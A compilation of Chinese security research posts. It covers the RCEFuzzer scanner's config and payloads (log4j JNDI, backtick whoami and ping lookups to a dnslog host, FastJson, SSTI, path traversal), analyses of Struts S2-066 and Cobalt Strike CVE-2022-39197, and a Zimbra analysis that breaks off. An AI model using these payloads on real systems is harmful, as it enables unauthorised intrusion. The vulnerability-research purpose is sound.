写在前面1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。 2. 这个版本是以

写在前面

1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。

 

2. 这个版本是以 Burp 插件的形式存在，新版本是独立的系统，仅在 JJ Team 开放使用。

3. 仅开放 Release 版本作为交流学习使用， jar 没做混淆，实际上和放代码差别不大，作为交流学习使用我认为足够了，拿着源代码做细微调整意义不大，研究学习建议重构。 

4. 欢迎交流学习～

01

工具地址

https://github.com/TheKingOfDuck/RCEFuzzer

02

基础介绍

这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer 的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。

举个例子，假设被动收集到的流量是：

POST /sys/customer/list HTTP/1.1Host: www.baidu.comContent-Length: 23Content-Type: application/json;charset=UTF-8
{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

如果配置了三条通用的 payload ：

${jndi:ldap://dnslog/log4j}`whoami`.dnslog{"@type":"java.net.Inet4Address","val":"dnslog"}

那么 RCEFuzzer 的参数污染模块将对目标发起以下请求：

• 污染 key1 的值然后分别发包

• 污染 key2 的值然后分别发包

• 尝试自动解码 key2 ，并污染子 JSON 的 innerkey1 的值然后分别发包

• 污染 key3 的值然后分别发包。

• 污染 key3 的子 JSON 的 innerkey2 的值，然后分别发包。

• 尝试解析 innerkey2 ，并污染子JSON的 k3 的值然后分别发包

理论上总的请求量是 3*6=18 次。这仅是参数污染模块，如果带上其他模块，那请求量可能是 50 。如果 payload 写得多点，原流量大一点，那么可能是 5000 次。

流量过大注定他没法在常规日站的场景使用，给目标写入一堆脏数据，那就得不偿失了。

对自己日常自己跑起来要挖洞的系统，测试类环境的系统就无所谓。

03

资产去重

上面提到流量会非常大，选出需要污染的流量就尤为重要，降低扫描基数，扫描流量也将大幅下降，那么在这个方向上我做了哪些尝试呢：重点参考

https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/

除最基本的静态资源去重外，这里面还提到了关于 urlpath 、 query 等的处理的思路，但是不够完全，细心一点的会发现上文中提到的流量：

{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

这里面的 id 和 isLogin 是没有污染的，因为大部分后端语言都会定义好参数类型，对于整数型、布尔型的参数没有太大污染的必要，徒增报错罢了，除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染，进一步缩减流量。

这里需要单独再提一下，实践中有很多确认是重复的，比如：

/order/S09834FVD/order/S07C34FDCCVX

显然两条流量对应了同一后端，是重复的，没必要都扫，但他没有像 uuid 或 md5 一样的固定特征，正则没法解决，看到一些同行的解决方案是上大模型去识别，颇有种工作饱和了没事干的感觉，本质上是区分文本是否为随机的，即将文本分为是否随机两种类型，业界有非常多成熟的文本分类模型训练教程，现成的模型，不用 GPU 就可以快速解决问题。

04

扫描模块

开放的版本中功能覆盖的有限，仅简单介绍一些思路。核心逻辑是递归追加/替换污染，对嵌套的 from-data 、json 、xml 、soap 等进行自动解码、污染、再编码。

JSON 污染

对 JSON 污染我个人理解分为以下两类：

1. 键值污染：对于字符串类型的键值进行增加或替换的污染，除了污染成正常的资产 payload 之外，还可污染成 python 的结构体。

2. 替换污染：对整个 JSON 进行替换，换成指定的 payload ，这里主要针对 FastJson 这样的漏洞。

具体一点的例子：

{"innerkey1":"innervalue1"}

可以污染成：

{"innerkey1":__import__('socket').gethostbyaddr('dnslog')} {"innerkey1":"${jndi:ldap://dnslog/jsonkey}"} {"innerkey1":"innervalue1","@type":"java.net.Inet4Address","val":"dnslog"} {"innerkey1":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog"}

几种漏洞类型都挺常见的。

header 污染

和JSON污染一样：

• 键值污染：对 header 键值进行增加或替换的污染。

• 替换污染：对所有 header 的键值污染成指定 payload 。

举个例子：

GET / HTTP/1.1Host: www.baidu.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Connection: closeCache-Control: max-age=0

可以污染成

GET / HTTP/1.1Host: www.baidu.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: ${jndi:ldap://dnslog/jsonkey}Connection: closeCache-Control: max-age=0X-Forwarded-For: `whoami`.dnslogX-Api-Version: ${jndi:dns://dnslog/456}

像 Host 、Connection 、Content-Type 这类 header 应该跳过污染，避免对请求本身造成影响，一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事，暴力出奇迹。

参数污染

JSON 场景下一般就嵌套下转义后或编码后的 JSON ，但 form-data 表单中有非常多出现嵌套其他类型数据的情况，比如参数中嵌套 JSON ，嵌套 XML ，从某些 OA 中能够看出研发为了兼容做的不少 🐂 事。

同样分为两种模式：

• 替换污染：常规的命令注入、SQL 注入等等

• 追加污染：后端带判断类的，如校验传入值包含指定字符串时，追加模式将会非常管用。

还是举个例子：

https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9

可以污染成：

https://www.baidu.com/admin/load?host=dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==...

为什么要做追加模式在第二个 case 中就可以看出。

SSRF

代码抄自：

https://github.com/ethicalhackingplayground/ssrf-king

作者基本覆盖了常见代码产生的 SSRF 和配置错误导致的 SSRF ，非常受用。这里只是封装了嵌套解析，其他改动不大。

其他模块

还有很多了其他模块，如响应匹配、文件上传污染、SOAP 请求污染等，但并未在该版本中实现，不再一一介绍。

05

使用技巧

需要有配套的dnslog：

https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEYhttps://admin.xxxx.com/logs?token=xxxxxx&type=http&q=KEY

KEY 是占位符，不能改动 其他无所谓。

配置文件如下：

##### 配置说明:#    1.tweb的配置是必须要改的, 不改显示不了漏洞#    2.白名单的优先级是高于黑名单的#    3.所有配置都是可以动态改的, 不用重新加载插件# 使用说明:#    https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk###config:  version: |  # 插件版本    0.5  twebdomain: | # tweb 子域名配置    xxx.xx.com  twebapi: |  # tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到    https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEY  timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 60000为60秒    60000  hostBlacklistReg: |  # 禁止扫描的域名列表    (.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)  extBlacklist: |  # 禁止扫描的后缀列表,这不是正则，本来想从passive-scan-client中抄代码的,结果发现他有bug...    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico
jsonPollution:  status:  #on为开启 off为关闭    on  allin: | #替换整个json数据包    {"@type":"java.net.Inet4Address","val":"dnslog"}  value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{"test":__import__('os')} {"test":"{\"dtaa\":__import__('os')}"}    "${jndi:ldap://dnslog/jsonkey}"    __import__('socket').gethostbyaddr('dnslog')
paramPollution:  status: #on为开启 off为关闭    on  exprs: | #为了兼容有回显的表达式注入/代码执行漏洞    {{9527*2333}}|22226491    ${T(java.lang.System).getenv()}|JAVA_HOME    ${T+++++++(java.lang.System).getenv()}|JAVA_HOME    {php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832    {if+var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832    ../../../../../../../../../../../../../../../etc/passwd|root  value: |    dnslog    ${jndi:ldap://paramPollution.dnslog/log4j}    `whoami`.dnslog    http://dnslog/    ping+-nc+1+dnslog
headerPollution:  status: #on为开启 off为关闭    on  allin: | #一次性污染除了url和host外的所有请求头    ${jndi:dns://dnslog/456}    ${jndi:ldap://dnslog/789}  headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。    X-Forwarded-For|${jndi:dns://dnslog/456}    X-Api-Version|${jndi:dns://dnslog/456}
ssrfPollution:  status: #on为开启 off为关闭    on
responseMatch:  status: #on为开启 off为关闭    off  expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包    thinkphp:error

参数污染中 exprs 部分的配置以 | 作为切割，区分请求和响应，用于回显漏洞的检测。tweb 处配置 dnslog 的子域名和 api 查询的 url 即可。

06

写在最后

RCEFuzzer 在实践中直接或间接的为我贡献了几十个的 RCE ，不少系统通过点点就可轻易收割漏洞点，进而撕开口子，拿到代码，进一步审计得到更有价值的洞，是生产漏洞的重要一环，也希望能为各位贡献新的RCE！

最后的最后，特别要提的是 RCEFuzzer 中不少思路都来源于 c26root （即大 6 老师）的指点，大 6 老师才是真正的神，大 6 老师🐮🍺！

阅读原文

跳转微信打开

Github发现一个很棒的工具，通过JDI实现了Tomcat 各个版本 Jetty，Spring，Struts，Jersey等中间价框架的路由扫描

Github发现一个很棒的工具，通过JDI实现了Tomcat 各个版本 Jetty，Spring，Struts，Jersey等中间价框架的路由扫描。写文章的时候已经更新到Router5了

https://github.com/kyo-w/router-router

JDI基础知识

JDI属于JPDA中最上层接口。定义了调试器（Debugger）所需要的一些调试接口。基于这些接口，调试器可以及时地了解目标虚拟机的状态，例如查看目标虚拟机上有哪些类和实例等。另外，调试者还可以控制目标虚拟机的执行，例如挂起和恢复目标虚拟机上的线程，设置断点等。

工作方式

      首先，调试器（Debuuger）通过 Bootstrap 获取唯一的虚拟机管理器。

虚拟机管理器将在第一次被调用时初始化可用的链接器。一般地，调试器会默认地采用启动型链接器进行链接。

      然后，调试器调用链接器的 launch () 来启动目标程序，并完成调试器与目标虚拟机的链接。

      当链接完成后，调试器与目标虚拟机便可以进行双向通信了。调试器将用户的操作转化为调试命令，命令通过链接被发送到前端运行目标程序的虚拟机上；然后，目标虚拟机根据接受的命令做出相应的操作，将调试的结果发回给后端的调试器；最后，调试器可视化数据信息反馈给用户。

模块划分

      通过上面的描述，我们可以将jdi分成3部分：数据模块、连接模块、事件处理模块。

1 数据模块

      jdi的数据模块，主要就是Mirror机制。Mirror 接口是JDI最底层的接口，JDI中几乎所有其他接口都继承于它。Mirror 机制是将目标虚拟机上的所有数据、类型、域、方法、事件、状态和资源，以及调试器发向目标虚拟机的事件请求等都映射成 Mirror 对象。

例如，在目标虚拟机上，已装载的类被映射成 ReferenceType 镜像，对象实例被映射成 ObjectReference 镜像，基本类型的值（如 float 等）被映射成 PrimitiveValue（如 FloatValue 等）。被调试的目标程序的运行状态信息被映射到 StackFrame 镜像中，在调试过程中所触发的事件被映射成 Event 镜像（如 StepEvent 等），调试器发出的事件请求被映射成 EventRequest 镜像（如 StepRequest 等），被调试的目标虚拟机则被映射成 VirtualMachine 镜像。但是，JDI 并不保证目标虚拟机上的每份信息和资源都只有唯一的镜像与之对应，这是由 JDI 的具体实现所决定的。例如，目标虚拟机上的某个事件有可能存在多个 Event 镜像与之对应，例如 BreakpointEvent 等。      Mirror 实例或是由调试器创建，或是由目标虚拟机创建，调用 Mirror 实例 virtualMachine() 可以获取其虚拟机信息。该接口提供了一套方法，可以用来直接或间接地获取目标虚拟机上所有的数据和状态信息，也可以挂起、恢复、终止目标虚拟机。

2 连接模块

      连接是调试器与目标虚拟机之间交互的渠道，一次连接可以由调试器发起，也可以由被调试的目标虚拟机发起。一个调试器可以连接多个目标虚拟机，但一个目标虚拟机最多只能连接一个调试器。下面的例子中就讲了一种常见的连接方式：由调试器启动目标虚拟机的连接方式。也可以在虚拟机处于运行状态时，采用attach的方式连接到目标虚拟机（我们平时用的Intellij 用的就是这种方式）。

3 事件处理模块

      主要在com.sun.jdi.event 和 com.sun.jdi.request 包中。

• 事件集是事件发送的最小单位，并且事件集一旦被创建，则不可以被修改。

• 事件请求：Event接口定义了request方法，该方法会返回由调试器Debugger发出的针对该事件的事件请求（EventRequest）。事件请求是由调试器向目标虚拟机发出的，目的是请求目标虚拟机在发生指定的事件后通知调试器。只有当调试器发出的请求与目标虚拟机上发生的事件匹配时，这些事件才会被分发到各个事件集，进而等待发送至调试器端。

      当然了，Debugger发送给Target VM的所有事件请求，不一定Target VM 都感兴趣。因此JDI提供了事件的过滤机制，来删选出最终真正要发送给Target VM的事件。

• 对事件请求的管理：在JDI中，事件请求的管理是通过EventRequestManager来完成的。它有许多createXXXRequest方法来创建不同类型的事件请求，也有许多deleteXXXRequest方法来删除不同类型的事件请求，还有xxxRequests方法来列出各种类型的事件请求。有一点需要注意的是，这里由EventRequestManager创建的createXXXRequest的事件都是非激活的，因此这些事件请求当发送给Target VM不会起任何作用，除非调用EventRequest的setEnable(true)使得该事件进入激活状态。

• 事件队列：事件队列(EventQueue)的拥有者是目标虚拟机，EventQueue 将这些事件集以“先进先出”策略依次地发送到调试器端。EventQueue 负责管理来自目标虚拟机的事件，一个被调试的目标虚拟机上有且仅有一个 EventQueue实例。

• Debugger 跟 targetVM之间的事件交互：

Debugger调用Target VM的 eventQueue() 和 eventRequestManager() 分别获取唯一的 EventQueue 实例和 EventRequestManager 实例. Debugger通过 EventRequestManager 的 createXXXRequest() 创建需要的事件请求，并添加过滤器和设置挂起策略. targetVM 上某个事件触发且匹配上eventRequest ， 则将event放入对应的eventSet. targetVM 上的EventQueue 管理这些eventSet, 按照FIFO原则发送给Debugger. Debugger通过第一步获取到的EventQueue实例 获取来自Target VM的事件响应。

一句话概括就是 EventRequest总是由Debugger发向Target VM ，而当请求与目标虚拟机上发生事件匹配，则事件会被归到EventSet中，EventSet会被Target VM的EventQueue所管理，并且按照FIFO原则发送到Debugger

Demo

被测试类

public class HelloWorld {
    public static void main(String[] args) {
        String str = "Hello world!";
        System.out.println(str);
    }
}

测试类

import java.util.List;
import java.util.Map;
import com.sun.jdi.*;
import com.sun.jdi.connect.*;
import com.sun.jdi.event.*;
import com.sun.jdi.request.*;
/**
 * Created by zhangpeng48 on 2018/7/16.
 */
public class MethodTrace {
    private static VirtualMachine vm;
    private static Process process;
    private static EventRequestManager eventRequestManager;
    private static EventQueue eventQueue;
    private static EventSet eventSet;
    private static boolean vmExit = false;
    //write your own testclass
    private static String className = "HelloWorld";
    public static void main(String[] args) throws Exception {
        System.out.println("begin....");
        launchDebugee();
        registerEvent();
        processDebuggeeVM();
        // Enter event loop
        eventLoop();
        destroyDebuggeeVM();
    }
    public static void launchDebugee() {
        LaunchingConnector launchingConnector = Bootstrap
                .virtualMachineManager().defaultConnector();
        // Get arguments of the launching connector
        Map<String, Connector.Argument> defaultArguments = launchingConnector
                .defaultArguments();
        Connector.Argument mainArg = defaultArguments.get("main");
        Connector.Argument suspendArg = defaultArguments.get("suspend");
        // Set class of main method
        mainArg.setValue(className);
        suspendArg.setValue("true");
        try {
            vm = launchingConnector.launch(defaultArguments);
        } catch (Exception e) {
            // ignore
        }
    }
    public static void processDebuggeeVM() {
        process = vm.process();
    }
    public static void destroyDebuggeeVM() {
        process.destroy();
    }
    public static void registerEvent() {
        // Register ClassPrepareRequest
        eventRequestManager = vm.eventRequestManager();
        MethodEntryRequest entryReq = eventRequestManager.createMethodEntryRequest();
        entryReq.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);
        entryReq.addClassFilter(className);
        entryReq.enable();
        MethodExitRequest exitReq = eventRequestManager.createMethodExitRequest();
        exitReq.addClassFilter(className);
        exitReq.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);
        exitReq.enable();
    }
    private static void eventLoop() throws Exception {
        eventQueue = vm.eventQueue();
        while (true) {
            Thread.sleep(10000);
            if (vmExit == true) {
                System.out.println("vmexit");
                break;
            }
            eventSet = eventQueue.remove();
            EventIterator eventIterator = eventSet.eventIterator();
            while (eventIterator.hasNext()) {
                Event event = (Event) eventIterator.next();
                execute(event);
                if (!vmExit) {
                    eventSet.resume();
                }
            }
        }
    }
    private static void execute(Event event) throws Exception {
        if (event instanceof VMStartEvent) {
            System.out.println("VM started");
        } else if (event instanceof MethodEntryEvent) {
            Method method = ((MethodEntryEvent) event).method();
            System.out.printf("Enter -> Method: %s, Signature:%s\n",method.name(),method.signature());
            System.out.printf("\t ReturnType:%s\n", method.returnTypeName());
        } else if (event instanceof MethodExitEvent) {
            Method method = ((MethodExitEvent) event).method();
            System.out.printf("Exit -> method: %s\n",method.name());
        } else if (event instanceof VMDisconnectEvent) {
            vmExit = true;
        }
    }
}

Router4 核心功能代码分析

com.kyodream.debugger.core.DebugManger#startAnalysts

初始化DebuggerThread

com.kyodream.debugger.core.thread.DebuggerThread#initHandler

首先获取handlerOrFramework 但是只将handler加入this.handles中，也就是这里只获取中间件

com.kyodream.debugger.core.DebugManger#startAnalysts 中开启分析线程也就是

com.kyodream.debugger.core.thread.DebuggerThread#run

首先是scannerMemory，内存扫描

com.kyodream.debugger.core.thread.DebuggerThread#initHandler，初始化一些flag值

com.kyodream.debugger.core.thread.DebuggerThread#handleEvent，真正处理事件，分析内存，首先获取handler也就是中间件，再判断内存是否是初次分析以及有没有改变，然后进入分析逻辑DefaultHandler#startAnalysts，根据中间件不同，进入不同子类

DefaultHandler#startAnalysts

对于不同中间件、框架是有不同的获取路由获取方式，例如Tomcat等，根据版本不同，也有不同获取路由方式

Jetty：com.kyodream.debugger.core.category.Jetty#handleWebAppContextOrServletContext

Tomcat：

com.kyodream.debugger.core.category.Tomcat#handleTomcat98

com.kyodream.debugger.core.category.Tomcat#handleTomcat76

Strusts：

com.kyodream.debugger.core.category.Struts#analystsStruts1

com.kyodream.debugger.core.category.Struts#analystsStruts2

SpringMVC：

com.kyodream.debugger.core.category.SpringMvc#handlerRequestMappingHandlerMapping

com.kyodream.debugger.core.category.SpringMvc#handleRequestMappingHandlerMappingLt4_0

Jersey

com.kyodream.debugger.core.category.Jersey#handleUrlMapping

Filter：

com.kyodream.debugger.core.category.Filter#handlerWebAppContextOrServletContext

com.kyodream.debugger.core.category.Filter#registryStruts2Prefix

com.kyodream.debugger.core.category.Filter#handleTomcat98

PS：过滤器的分析同时提供了对不同中间件及框架的支持

原文链接https://skay.rce.la/Router4/

https://skay.rce.la/Router4/

阅读原文

跳转微信打开

新漏洞总要学习下

一、环境搭建

直接在showcase的基础上搭建

src/main/resources/struts-fileupload.xml添加如下：

<!--       s2-066 test-->
       <action name="upload11" class="org.apache.struts2.showcase.fileupload.UploadAction"
             method="doUpload">
          <result name="success" type="">//WEB-INF/fileupload/skay.jsp</result>
       </action>

自定义uploadAction实现文件上传逻辑 org.apache.struts2.showcase.fileupload.UploadAction 这里直接放y4tacker的demo

package org.apache.struts2.showcase.fileupload;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private File upload;
    // ⽂件类型，为name属性值 + ContentType
    private String uploadContentType;
    // ⽂件名称，为name属性值 + FileName
    private String uploadFileName;
    public File getUpload() {
        return upload;
    }
    public void setUpload(File upload) {
        this.upload = upload;
    }
    public String getUploadContentType() {
        return uploadContentType;
    }
    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }
    public String getUploadFileName() {
        return uploadFileName;
    }
    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }
    public String doUpload() {
        String path =
                ServletActionContext.getServletContext().getRealPath("/")+"upload";
        String realPath = path + File.separator +uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }
}

上传测试demo 

二、漏洞分析

先来compare一下看看更改了什么

https://github.com/apache/struts/compare/STRUTS_6_3_0...STRUTS_6_3_0_2

除了版本号以外只有core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java 做了更改以及测试文件，添加了大小写的检查

有点懵逼，让我们跟着y4tacker的脚步来学习，Struts 框架默认加入了很多拦截器，定义在 struts-default.xml 中。使用的是递归调用，因为在 Interceptor 中为了实现分别在 action 之前和之后执行代码，会调用 ActionInvocation.invoke()，即 intercept() 的第一个参数，用于调用下一个拦截器或者是 Action。

debug中获取到了文件上传操作中这些拦截器：

此漏洞主要涉及FileUploadInterceptor以及 ParametersInterceptor两个拦截器

1.FileUploadInterceptor

从顺序来看，首先走到的是FileUploadInterceptor，在这里通过 String[] fileName = multiWrapper.getFileNames(inputName); 获取到filename并存储到 ActionContext.HttpParameters当中，这里的文件名获取做了严格的校验,

org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName

当走完FileUploadInterceptor时，可以看到当前的参数表是这样的

2.ParametersInterceptor

接下来看ParametersInterceptor ，

复习一下：ParametersInterceptor ，其继承自 MethodFilterInterceptor，最终会调用到下述 doIntercept 方法:

com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept

setParameters 经过一系列调用，最终使用 ognl.Ognl#setValue 对请求上下文进行赋值，即通过请求参数实现调用 Action 中定义的 setter 设置对应 POJO 对象的值，从而完成从 HTTP 到 Java 的参数绑定

也就是说我们可以通过控制传入参数来绑定Action中对应的属性

可以看到，当setUploadFileName被调用了两次，且第二次被重新赋值为目录穿越值

具体的赋值逻辑在OGNL中

ognl.OgnlRuntime#getDeclaredMethods

这里涉及到赋值顺序的问题，参考

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

三、参考链接

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

原文发表至：

https://skay.rce.la/s2_066/

阅读原文

跳转微信打开

使用Tabby 分析CS RCE CVE-2022-39197

Swing 标签解析

https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

根源来自于CS 的UI构建使用swing，而swing支持某些html标签的解析

测试解析demo如下

import javax.swing.*;
public class test {
    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);
        JFrame frame = new JFrame("test");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        JLabel label = new JLabel("<html><img src=xxxxx><h1>hhhhhhhhhhhh</h1>");
        frame.getContentPane().add(label);
        frame.pack();
        frame.setVisible(true);
    }
    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

IMG解析触发请求

javax.swing.text.html.HTML.Tag#allTags 定义了swing支持解析的标签

不同的标签有不同的VIEW对应去解析处理此标签，以img为例，一个img标签会触发http请求，最终会走到javax.swing.text.html.ImageView#loadImage ，新起一个线程来发起sockt请求，主线程调用栈如下

wait:-1, Object (java.lang)
waitForID:677, MediaTracker (java.awt)
loadImage:314, ImageIcon (javax.swing)
setImage:381, ImageIcon (javax.swing)
loadImage:704, ImageView (javax.swing.text.html)
refreshImage:673, ImageView (javax.swing.text.html)
sync:645, ImageView (javax.swing.text.html)
getPreferredSpan:443, ImageView (javax.swing.text.html)
getPreferredSpan:732, FlowView$LogicalView (javax.swing.text)
calculateMinorAxisRequirements:233, FlowView (javax.swing.text)
calculateMinorAxisRequirements:717, ParagraphView (javax.swing.text)
calculateMinorAxisRequirements:157, ParagraphView (javax.swing.text.html)
checkRequests:935, BoxView (javax.swing.text)
getMinimumSpan:568, BoxView (javax.swing.text)
getMinimumSpan:270, ParagraphView (javax.swing.text.html)
calculateMinorAxisRequirements:903, BoxView (javax.swing.text)
calculateMinorAxisRequirements:146, BlockView (javax.swing.text.html)
checkRequests:935, BoxView (javax.swing.text)
getMinimumSpan:568, BoxView (javax.swing.text)
getMinimumSpan:378, BlockView (javax.swing.text.html)
calculateMinorAxisRequirements:903, BoxView (javax.swing.text)
calculateMinorAxisRequirements:146, BlockView (javax.swing.text.html)
checkRequests:935, BoxView (javax.swing.text)
getPreferredSpan:545, BoxView (javax.swing.text)
getPreferredSpan:362, BlockView (javax.swing.text.html)
<init>:383, BasicHTML$Renderer (javax.swing.plaf.basic)
createHTMLView:67, BasicHTML (javax.swing.plaf.basic)
updateRenderer:207, BasicHTML (javax.swing.plaf.basic)
installComponents:381, BasicLabelUI (javax.swing.plaf.basic)
installUI:343, BasicLabelUI (javax.swing.plaf.basic)
setUI:666, JComponent (javax.swing)
setUI:261, JLabel (javax.swing)
updateUI:275, JLabel (javax.swing)
<init>:164, JLabel (javax.swing)
<init>:194, JLabel (javax.swing)
createAndShowGUI:10, Main

图片请求线程如下 

Object标签解析

大概模糊的了解了标签解析，接下来就该逐一看每个标签解析都会产生什么样危险逻辑，当然有那么多分析文章我们这里就很没脸的掠过了，直接将目光定位到ObjectView

javax.swing.text.html.ObjectView#createComponent

protected Component createComponent() {
    AttributeSet attr = getElement().getAttributes();
    String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);
    try {
        ReflectUtil.checkPackageAccess(classname);
        Class c = Class.forName(classname, true,Thread.currentThread().
                                getContextClassLoader());
        Object o = c.newInstance();
        if (o instanceof Component) {
            Component comp = (Component) o;
            setParameters(comp, attr);
            return comp;
        }
    } catch (Throwable e) {
        // couldn't create a component... fall through to the
        // couldn't load representation.
    }
    return getUnloadableRepresentation();
}

可以实例化Component子类 

必须有无参构造方法

必须存在一个setXXX方法的XXX属性

setXXX方法的传参数必须是接受一个string类型的参数

Tabby查找符合条件类

好的，让我们打开tabby，上面这些条件转化为tabby语法如下(遇到点小问题，感谢wh1t3Pig指点)

match path=(source:Method)<-[:HAS]-(c:Class)-[:EXTENDS*]-(ec:Class{NAME:"java.awt.Component"})
where source.NAME starts with "set" and source.PARAMETER_SIZE=1
return c limit 100

<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='payload'></param></object>

接下来就是SVG利用链的过程，到点下班了详情参考 https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

参考链接

https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098978&idx=1&sn=d511d5a674d84eeaf262c8e389ae0403&chksm=803c696bb74be07d8ef8e473b11ffe4dce57b58ccf82e8615ab15d9ba6bba9263360c01276a8&mpshare=1&scene=23&srcid=1012cGc5X3pyXr5VpF2LMf7Y&sharer_sharetime=1665577816700&sharer_shareid=685f4dccaa04150832e24b9e6499e6cf#rd

https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

阅读原文

跳转微信打开

CVE-2023-34192 —— Zimbra XSS To RCE

一、组件概述

1.关键词

邮服、协作

2.概述

Zimbra 是一个电子邮件和协作平台，包括聊天、视频会议、日历、 联系人、任务、文件共享/编辑，并且集成了Slack、Zoom、Dropbox 等内置功能。500 多个SaaS 合作伙伴以及2000 多家经销商都在使用 Zimbra 的产品。Zimbra 是全球开源电子邮件协作软件领域的领先供应商。

3.使用范围及行业分布

大中小型企业及政府部门

4.渗透攻击特性

暂无

二、环境搭建、动态调试

1.环境搭建

搭建之前本机需要配置好DNS服务

https://cloud.tencent.com/developer/article/1112133

https://abanger.github.io/CentOS/CentOS7_DNS_setting/

安装包下存在./install.sh 自动拉取最新依赖包安装，插件默认即可，配置admin密码等信息

开源版本安装后8443为邮件服务器应用端口，7071为admin后台管理端口

2.动态调试

首先停止zimbra服务，并添加调试信息开启debug

su zimbrazmcontrol stopsucp /opt/zimbra/libexec/zmmailboxdmgr /opt/zimbra/libexec/zmmailboxdmgr.oldcp /opt/zimbra/libexec/zmmailboxdmgr.unrestricted /opt/zimbra/libexec/zmmailboxdmgrsu zimbrazmlocalconfig -e mailboxd_java_options="`zmlocalconfig -m nokey mailboxd_java_options` -Xdebug -Xnoagent -Djava.compiler=NONE -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000"
重启服务zmcontrol start

获取/opt/zimbra 下所有jar包导入idea进行调试

三、组件分析

路由

service、zimbra、zimbraAdmin 三个webapp分别都有web.xml，web.xml 中定义了诸多独立的servlet，其中SoapServlet对应SOAP API，通过Zimbra SOAP API能够对Zimbra邮件服务器的资源进行访问和修改

Zimbra SOAP API包括以下命名空间：

• zimbraAccount

• zimbraAdmin

• zimbraAdminExt

• zimbraMail

• zimbraRepl

• zimbraSync

• zimbraVoice 每个命名空间下对应不同的操作命令，其中常用的命名空间有以下三个：

1. zimbraAdmin，Zimbra邮件服务器的管理接口，需要管理员权限

2. zimbraAccount，同Zimbra用户相关的操作

3. zimbraMail，同zimbra邮件的操作

身份校验

校验ZM_AUTH_TOKEN及ZM_ADMIN_AUTH_TOKEN,后者为管理员权限，TOKEN类似于JWT，生成过程较为安全，每个系统采用动态生成的key

权限校验

三个web主体主要分析三个类型，每个都存在未授权访问的接口，zimbra还对每个servlet进行了端口访问控制

1.Servlet

众多servlet都通过com.zimbra.cs.service.UserServlet#checkAuthentication进行身份校验，需要认证后的用户才可以访问，当然部分servlet不需要身份认证

2.SOAP API

